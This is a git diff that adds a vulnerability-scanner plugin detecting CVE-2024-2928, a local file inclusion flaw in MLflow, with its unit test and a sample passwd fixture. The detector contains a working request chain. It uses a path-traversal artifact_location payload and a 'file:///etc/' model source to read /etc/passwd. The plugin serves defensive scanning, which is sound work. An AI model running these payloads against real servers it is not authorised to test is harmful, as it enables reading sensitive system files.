dependencies { @@ -60,6 +62,7 @@ dependencies { testImplementation "junit:junit:${junitVersion}" testImplementation "org.mockito:mockito-core:${mockitoVersion}" testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}" testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" -} +} \ No newline at end of file diff --git a/community/detectors/mlflow_cve_2024_2928/gradle/wrapper/gradle-wrapper.jar b/community/detectors/mlflow_cve_2024_2928/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 000000000..1b33c55ba Binary files /dev/null and b/community/detectors/mlflow_cve_2024_2928/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/mlflow_cve_2023_6977/gradle/wrapper/gradle-wrapper.properties b/community/detectors/mlflow_cve_2024_2928/gradle/wrapper/gradle-wrapper.properties similarity index 94% rename from community/detectors/mlflow_cve_2023_6977/gradle/wrapper/gradle-wrapper.properties rename to community/detectors/mlflow_cve_2024_2928/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/mlflow_cve_2023_6977/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/mlflow_cve_2024_2928/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/apache_spark_exposed_webui/gradlew b/community/detectors/mlflow_cve_2024_2928/gradlew similarity index 94% rename from community/detectors/apache_spark_exposed_webui/gradlew rename to community/detectors/mlflow_cve_2024_2928/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/apache_spark_exposed_webui/gradlew +++ b/community/detectors/mlflow_cve_2024_2928/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/apache_spark_exposed_webui/gradlew.bat b/community/detectors/mlflow_cve_2024_2928/gradlew.bat similarity index 93% rename from community/detectors/apache_spark_exposed_webui/gradlew.bat rename to community/detectors/mlflow_cve_2024_2928/gradlew.bat index 25da30dbd..db3a6ac20 100644 --- a/community/detectors/apache_spark_exposed_webui/gradlew.bat +++ b/community/detectors/mlflow_cve_2024_2928/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -68,11 +70,11 @@ goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/mlflow_cve_2024_2928/settings.gradle b/community/detectors/mlflow_cve_2024_2928/settings.gradle new file mode 100644 index 000000000..4768b8f95 --- /dev/null +++ b/community/detectors/mlflow_cve_2024_2928/settings.gradle @@ -0,0 +1,10 @@ +/* + * This file was generated by the Gradle 'init' task. + * + * The settings file is used to specify which projects to include in your build. + * + * Detailed information about configuring a multi-project build in Gradle can be found + * in the user manual at https://docs.gradle.org/6.0/userguide/multi_project_builds.html + */ + +rootProject.name = 'CVE-2024-2928' diff --git a/google/detectors/rce/cve20246387/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20246387/Cve20246387DetectorBootstrapModule.java b/community/detectors/mlflow_cve_2024_2928/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20242928/Cve20242928DetectorBootstrapModule.java similarity index 71% rename from google/detectors/rce/cve20246387/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20246387/Cve20246387DetectorBootstrapModule.java rename to community/detectors/mlflow_cve_2024_2928/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20242928/Cve20242928DetectorBootstrapModule.java index 5f21ae623..269ee30dc 100644 --- a/google/detectors/rce/cve20246387/src/main/java/com/google/tsunami/plugins/detectors/rce/cve20246387/Cve20246387DetectorBootstrapModule.java +++ b/community/detectors/mlflow_cve_2024_2928/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20242928/Cve20242928DetectorBootstrapModule.java @@ -13,15 +13,15 @@ * See the License for the specific language governing permissions and * limitations under the License. */ -package com.google.tsunami.plugins.detectors.rce.cve20246387; -import com.google.tsunami.plugin.PluginBootstrapModule; +package com.google.tsunami.plugins.detectors.cves.cve20242928; -/** A {@link PluginBootstrapModule} for {@link Cve20246387Detector}. */ -public final class Cve20246387DetectorBootstrapModule extends PluginBootstrapModule { +import com.google.tsunami.plugin.PluginBootstrapModule; +/** A CVE-2024-2928 Guice module that bootstraps the {@link Cve20242928VulnDetector}. */ +public class Cve20242928DetectorBootstrapModule extends PluginBootstrapModule { @Override protected void configurePlugin() { - registerPlugin(Cve20246387Detector.class); + registerPlugin(Cve20242928VulnDetector.class); } } diff --git a/community/detectors/mlflow_cve_2024_2928/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20242928/Cve20242928VulnDetector.java b/community/detectors/mlflow_cve_2024_2928/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20242928/Cve20242928VulnDetector.java new file mode 100644 index 000000000..c32337aae --- /dev/null +++ b/community/detectors/mlflow_cve_2024_2928/src/main/java/com/google/tsunami/plugins/detectors/cves/cve20242928/Cve20242928VulnDetector.java @@ -0,0 +1,398 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve20242928; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.common.collect.ImmutableList.toImmutableList; +import static com.google.common.net.HttpHeaders.CONTENT_TYPE; +import static com.google.tsunami.common.net.http.HttpRequest.delete; +import static com.google.tsunami.common.net.http.HttpRequest.get; +import static com.google.tsunami.common.net.http.HttpRequest.post; + +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.gson.JsonObject; +import com.google.protobuf.ByteString; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpRequest; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.ForWebService; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Clock; +import java.time.Instant; +import java.util.regex.Pattern; +import javax.inject.Inject; + +/** A {@link VulnDetector} that detects the CVE-2024-2928 vulnerability. */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "CVE-2024-2928 Detector", + version = "0.1", + description = "Checks for occurrences of CVE-2024-2928 in MLflow instances.", + author = "frkngksl", + bootstrapModule = Cve20242928DetectorBootstrapModule.class) +@ForWebService +public final class Cve20242928VulnDetector implements VulnDetector { + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + + private final Clock utcClock; + private static final String EXP_CREATION_PATH = "ajax-api/2.0/mlflow/experiments/create"; + private static final String RUN_CREATION_PATH = "api/2.0/mlflow/runs/create"; + private static final String MODEL_CREATION_PATH = "ajax-api/2.0/mlflow/registered-models/create"; + private static final String LINK_PATH = "ajax-api/2.0/mlflow/model-versions/create"; + private static final String EXP_DELETION_PATH = "api/2.0/mlflow/experiments/delete"; + private static final String MODEL_DELETION_PATH = "ajax-api/2.0/mlflow/registered-models/delete"; + + private static final String EXP_PAYLOAD = + "{\"name\": \"poc\", \"artifact_location\":" + + " \"http:///#/../../../../../../../../../../../../../../etc/\"}"; + private static final String RUN_PAYLOAD = "{\"experiment_id\": \"{{EXPERIMENT_ID}}\"}"; + private static final String MODEL_PAYLOAD = "{\"name\": \"poc\"}"; + private static final String LINK_PAYLOAD = + "{\"name\": \"poc\", \"run_id\": \"{{RUN_ID}}\", \"source\": \"file:///etc/\"}"; + + private static final String VULN_PATH = + "model-versions/get-artifact?path=passwd&name=poc&version=1"; + private static final Pattern VULNERABILITY_RESPONSE_PATTERN = Pattern.compile("(root:[x*]:0:0:)"); + + private String experimentId; + private String runId; + + private static HttpClient httpClient; + + @Inject + Cve20242928VulnDetector(@UtcClock Clock utcClock, HttpClient httpClient) { + this.utcClock = checkNotNull(utcClock); + Cve20242928VulnDetector.httpClient = + checkNotNull(httpClient, "HttpClient cannot be null.") + .modify() + .setFollowRedirects(false) + .build(); + } + + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(Cve20242928VulnDetector::isWebServiceOrUnknownService) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2024_2928")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-2928")) + .setSeverity(Severity.HIGH) + .setTitle("CVE-2024-2928 MLflow Local File Inclusion") + .setDescription( + "A Local File Inclusion (LFI) vulnerability was identified in mlflow," + + " which was fixed in version 2.11.2. This vulnerability arises from the" + + " application's failure to properly validate URI fragments for directory" + + " traversal sequences such as '../'. An attacker can exploit this flaw by" + + " manipulating the fragment part of the URI to read arbitrary files on" + + " the local file system, including sensitive files like '/etc/passwd'." + + " The vulnerability is a bypass to a previous patched vulnerability" + + " (namely for CVE-2023-6909) that only addressed similar manipulation" + + " within the URI's query string.") + .setRecommendation("You can upgrade your MLflow instances to 2.11.2 or later.") + .build()); + } + + private static boolean checkMlflowFingerprint(NetworkService networkService) { + String targetWebAddress = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + var request = HttpRequest.get(targetWebAddress).withEmptyHeaders().build(); + + try { + HttpResponse response = httpClient.send(request, networkService); + return response.status().isSuccess() + && response + .bodyString() + .map(body -> body.contains("MLflow")) + .orElse(false); + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to send request."); + return false; + } + } + + private static boolean isWebServiceOrUnknownService(NetworkService networkService) { + return NetworkServiceUtils.isWebService(networkService) + && checkMlflowFingerprint(networkService); + } + + private boolean createExperiment(NetworkService networkService) { + String targetWebAddress = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + EXP_CREATION_PATH; + try { + HttpResponse httpResponse = + httpClient.send( + post(targetWebAddress) + .setHeaders( + HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8(EXP_PAYLOAD)) + .build(), + networkService); + logger.atInfo().log("Response from experiment creation: %s", httpResponse.bodyString().get()); + if (httpResponse.status().code() != 200 || httpResponse.bodyJson().isEmpty()) { + return false; + } + JsonObject jsonResponse = (JsonObject) httpResponse.bodyJson().get(); + if (jsonResponse.keySet().contains("experiment_id")) { + this.experimentId = jsonResponse.get("experiment_id").getAsString(); + logger.atInfo().log("Created Experiment ID: %s", this.experimentId); + return true; + } + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to send request."); + return false; + } + return false; + } + + private boolean createRunForExperiment(NetworkService networkService) { + String targetWebAddress = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + RUN_CREATION_PATH; + String requestBody = RUN_PAYLOAD.replace("{{EXPERIMENT_ID}}", this.experimentId); + + try { + HttpResponse httpResponse = + httpClient.send( + post(targetWebAddress) + .setHeaders( + HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8(requestBody)) + .build(), + networkService); + logger.atInfo().log("Response from run creation: %s", httpResponse.bodyString().get()); + if (httpResponse.status().code() != 200 || httpResponse.bodyJson().isEmpty()) { + return false; + } + JsonObject jsonResponse = (JsonObject) httpResponse.bodyJson().get(); + if (jsonResponse.keySet().contains("run")) { + JsonObject jsonInRunKey = jsonResponse.get("run").getAsJsonObject(); + if (jsonInRunKey.keySet().contains("info")) { + JsonObject jsonInInfoKey = jsonInRunKey.get("info").getAsJsonObject(); + if (jsonInInfoKey.keySet().contains("run_id")) { + this.runId = jsonInInfoKey.get("run_id").getAsString(); + logger.atInfo().log("Created Run ID: %s", this.runId); + return true; + } + } + } + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to send request."); + return false; + } + return false; + } + + private boolean createModel(NetworkService networkService) { + String targetWebAddress = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + MODEL_CREATION_PATH; + try { + HttpResponse httpResponse = + httpClient.send( + post(targetWebAddress) + .setHeaders( + HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8(MODEL_PAYLOAD)) + .build(), + networkService); + logger.atInfo().log("Response from model creation: %s", httpResponse.bodyString().get()); + if (httpResponse.status().code() != 200 || httpResponse.bodyJson().isEmpty()) { + return false; + } + + JsonObject jsonResponse = (JsonObject) httpResponse.bodyJson().get(); + if (jsonResponse.keySet().contains("registered_model")) { + JsonObject jsonInRegisteredModelKey = + jsonResponse.get("registered_model").getAsJsonObject(); + if (jsonInRegisteredModelKey.keySet().contains("name") + && jsonInRegisteredModelKey.get("name").getAsString().equals("poc")) { + return true; + } + } + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to send request."); + return false; + } + return false; + } + + private boolean createLinkForModel(NetworkService networkService) { + String targetWebAddress = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + LINK_PATH; + String requestBody = LINK_PAYLOAD.replace("{{RUN_ID}}", this.runId); + + try { + HttpResponse httpResponse = + httpClient.send( + post(targetWebAddress) + .setHeaders( + HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8(requestBody)) + .build(), + networkService); + logger.atInfo().log("Response from linking model: %s", httpResponse.bodyString().get()); + if (httpResponse.status().code() != 200 || httpResponse.bodyJson().isEmpty()) { + return false; + } + JsonObject jsonResponse = (JsonObject) httpResponse.bodyJson().get(); + if (jsonResponse.keySet().contains("model_version")) { + JsonObject jsonInModelVersionKey = jsonResponse.get("model_version").getAsJsonObject(); + if (jsonInModelVersionKey.keySet().contains("status") + && jsonInModelVersionKey.get("status").getAsString().equals("READY")) { + return true; + } + } + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to send request."); + return false; + } + return false; + } + + private boolean readLocalFile(NetworkService networkService) { + String targetWebAddress = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VULN_PATH; + + try { + HttpResponse httpResponse = + httpClient.send(get(targetWebAddress).withEmptyHeaders().build(), networkService); + logger.atInfo().log("Vulnerability Response: %s", httpResponse.bodyString().get()); + String responseBody = httpResponse.bodyString().get(); + if (httpResponse.status().isSuccess() + && VULNERABILITY_RESPONSE_PATTERN.matcher(responseBody).find()) { + return true; + } + } catch (IOException e) { + logger.atWarning().withCause(e).log("Failed to send request."); + return false; + } + return false; + } + + private void deleteModel(NetworkService networkService) { + String targetWebAddress = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + MODEL_DELETION_PATH; + try { + HttpResponse httpResponse = + httpClient.sendAsIs( + delete(targetWebAddress) + .setHeaders( + HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8(MODEL_PAYLOAD)) + .build()); + if (httpResponse.status().code() == 200) { + logger.atInfo().log("Clean Model is successful"); + } + } catch (Exception e) { + logger.atWarning().withCause(e).log("Failed to send request."); + } + } + + private void deleteExperiment(NetworkService networkService) { + String targetWebAddress = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + EXP_DELETION_PATH; + String requestBody = RUN_PAYLOAD.replace("{{EXPERIMENT_ID}}", this.experimentId); + try { + HttpResponse httpResponse = + httpClient.send( + post(targetWebAddress) + .setHeaders( + HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8(requestBody)) + .build()); + if (httpResponse.status().code() == 200) { + logger.atInfo().log("Clean Experiment (%s) is successful", this.experimentId); + } + } catch (Exception e) { + logger.atWarning().withCause(e).log("Failed to send request."); + } + } + + private boolean isServiceVulnerable(NetworkService networkService) { + logger.atInfo().log("First Step as Experiment Creation"); + if (!createExperiment(networkService)) { + return false; + } + + logger.atInfo().log("Second Step as Run Creation"); + if (!createRunForExperiment(networkService)) { + deleteExperiment(networkService); + return false; + } + logger.atInfo().log("Third Step as Model Creation"); + if (!createModel(networkService)) { + deleteExperiment(networkService); + return false; + } + logger.atInfo().log("Fourth Step as Model Linking"); + if (!createLinkForModel(networkService)) { + deleteExperiment(networkService); + deleteModel(networkService); + return false; + } + logger.atInfo().log("Last Step as Reading Local File"); + if (!readLocalFile(networkService)) { + deleteExperiment(networkService); + deleteModel(networkService); + return false; + } + deleteExperiment(networkService); + deleteModel(networkService); + return true; + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(this.getAdvisories().get(0)) + .build(); + } +} diff --git a/community/detectors/mlflow_cve_2024_2928/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20242928/Cve20242928VulnDetectorTest.java b/community/detectors/mlflow_cve_2024_2928/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20242928/Cve20242928VulnDetectorTest.java new file mode 100644 index 000000000..c945b5f3a --- /dev/null +++ b/community/detectors/mlflow_cve_2024_2928/src/test/java/com/google/tsunami/plugins/detectors/cves/cve20242928/Cve20242928VulnDetectorTest.java @@ -0,0 +1,179 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.cves.cve20242928; + +import static com.google.common.truth.Truth.assertThat; +import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; +import static java.nio.charset.StandardCharsets.UTF_8; + +import com.google.common.collect.ImmutableList; +import com.google.common.io.Resources; +import com.google.inject.Guice; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.TargetInfo; +import java.io.IOException; +import java.time.Instant; +import javax.inject.Inject; +import okhttp3.mockwebserver.Dispatcher; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link Cve20242928VulnDetector}. */ +@RunWith(JUnit4.class) +public class Cve20242928VulnDetectorTest { + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2022-05-23T00:00:00.00Z")); + private MockWebServer mockWebServer; + private NetworkService targetNetworkService; + private TargetInfo targetInfo; + private String mainPage; + private String passwdFile; + + @Inject private Cve20242928VulnDetector detector; + + @Before + public void setUp() throws IOException { + mockWebServer = new MockWebServer(); + mainPage = Resources.toString(Resources.getResource(this.getClass(), "main.html"), UTF_8); + passwdFile = Resources.toString(Resources.getResource(this.getClass(), "passwd"), UTF_8); + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new Cve20242928DetectorBootstrapModule(), + new HttpClientModule.Builder().build()) + .injectMembers(this); + } + + @After + public void tearDown() throws IOException { + mockWebServer.shutdown(); + } + + @Test + public void detect_whenVulnerable_returnsVulnerability() throws IOException { + startMockWebServer(true); + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(targetNetworkService) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(detector.getAdvisories().get(0)) + .build()); + assertThat(mockWebServer.getRequestCount()).isEqualTo(8); + } + + @Test + public void detect_ifNotVulnerable_doesNotReportVuln() throws IOException { + startMockWebServer(false); + + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + assertThat(mockWebServer.getRequestCount()).isEqualTo(2); + } + + private void startMockWebServer(boolean isVulnerableServer) throws IOException { + final Dispatcher dispatcher = + new Dispatcher() { + + @Override + public MockResponse dispatch(RecordedRequest request) { + switch (request.getPath()) { + case "/": + return new MockResponse().setResponseCode(200).setBody(mainPage); + case "/ajax-api/2.0/mlflow/experiments/create": + if (isVulnerableServer) { + return new MockResponse() + .setResponseCode(200) + .setBody("{\"experiment_id\": \"771333603874438576\" }"); + } else { + return new MockResponse() + .setResponseCode(400) + .setBody( + "{\"error_code\": \"INVALID_PARAMETER_VALUE\", \"message\":" + + " \"'artifact_location' URL can't include fragments or params.\"}"); + } + case "/api/2.0/mlflow/runs/create": + return new MockResponse() + .setResponseCode(200) + .setBody( + "{\"run\":{\"info\":{\"run_uuid\":\"3a422702c6564a71873bcf7945aff74c\",\"experiment_id\":\"771333603874438576\",\"run_name\":\"salty-dove-144\",\"user_id\":\"\",\"status\":\"RUNNING\",\"start_time\":0,\"artifact_uri\":\"http:///3a422702c6564a71873bcf7945aff74c/artifacts#/../../../../../../../../../../../../../../etc/\",\"lifecycle_stage\":\"active\",\"run_id\":\"3a422702c6564a71873bcf7945aff74c\"},\"data\":{\"tags\":[{\"key\":\"mlflow.runName\",\"value\":\"salty-dove-144\"}]},\"inputs\":{}}}"); + case "/ajax-api/2.0/mlflow/registered-models/create": + return new MockResponse() + .setResponseCode(200) + .setBody( + "{\"registered_model\":{\"name\":\"poc\",\"creation_timestamp\":1725611425002,\"last_updated_timestamp\":1725611425002}}"); + case "/ajax-api/2.0/mlflow/model-versions/create": + return new MockResponse() + .setResponseCode(200) + .setBody( + "{\"model_version\":{\"name\":\"poc\",\"version\":\"1\",\"creation_timestamp\":1725611889193,\"last_updated_timestamp\":1725611889193,\"current_stage\":\"None\",\"description\":\"\",\"source\":\"file:///etc/\",\"run_id\":\"3a422702c6564a71873bcf7945aff74c\",\"status\":\"READY\",\"run_link\":\"\"}}"); + case "/ajax-api/2.0/mlflow/experiments/delete": + return new MockResponse().setResponseCode(200).setBody("{}"); + case "/ajax-api/2.0/mlflow/registered-models/delete": + return new MockResponse().setResponseCode(200).setBody("{}"); + case "/model-versions/get-artifact?path=passwd&name=poc&version=1": + return new MockResponse().setResponseCode(200).setBody(passwdFile); + default: + return new MockResponse() + .setResponseCode(404) + .setBody( + "\n" + + "\n" + + "404 Not Found\n" + + "

Not Found

\n" + + "

The requested URL was not found on the server. If you entered the" + + " URL manually please check your spelling and try again.

\n"); + } + } + }; + mockWebServer.setDispatcher(dispatcher); + mockWebServer.start(); + mockWebServer.url("/"); + targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockWebServer.getHostName(), mockWebServer.getPort())) + .addSupportedHttpMethods("POST") + .addSupportedHttpMethods("GET") + .addSupportedHttpMethods("DELETE") + .build(); + targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) + .build(); + } +} diff --git a/community/detectors/mlflow_cve_2024_2928/src/test/resources/com/google/tsunami/plugins/detectors/cves/cve20242928/main.html b/community/detectors/mlflow_cve_2024_2928/src/test/resources/com/google/tsunami/plugins/detectors/cves/cve20242928/main.html new file mode 100644 index 000000000..c155fcfe4 --- /dev/null +++ b/community/detectors/mlflow_cve_2024_2928/src/test/resources/com/google/tsunami/plugins/detectors/cves/cve20242928/main.html @@ -0,0 +1 @@ +MLflow
\ No newline at end of file diff --git a/community/detectors/mlflow_cve_2024_2928/src/test/resources/com/google/tsunami/plugins/detectors/cves/cve20242928/passwd b/community/detectors/mlflow_cve_2024_2928/src/test/resources/com/google/tsunami/plugins/detectors/cves/cve20242928/passwd new file mode 100644 index 000000000..04435345e --- /dev/null +++ b/community/detectors/mlflow_cve_2024_2928/src/test/resources/com/google/tsunami/plugins/detectors/cves/cve20242928/passwd @@ -0,0 +1,19 @@ +root:x:0:0:root:/root:/bin/bash +daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin +bin:x:2:2:bin:/bin:/usr/sbin/nologin +sys:x:3:3:sys:/dev:/usr/sbin/nologin +sync:x:4:65534:sync:/bin:/bin/sync +games:x:5:60:games:/usr/games:/usr/sbin/nologin +man:x:6:12:man:/var/cache/man:/usr/sbin/nologin +lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin +mail:x:8:8:mail:/var/mail:/usr/sbin/nologin +news:x:9:9:news:/var/spool/news:/usr/sbin/nologin +uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin +proxy:x:13:13:proxy:/bin:/usr/sbin/nologin +www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin +backup:x:34:34:backup:/var/backups:/usr/sbin/nologin +list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin +irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin +gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin +nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 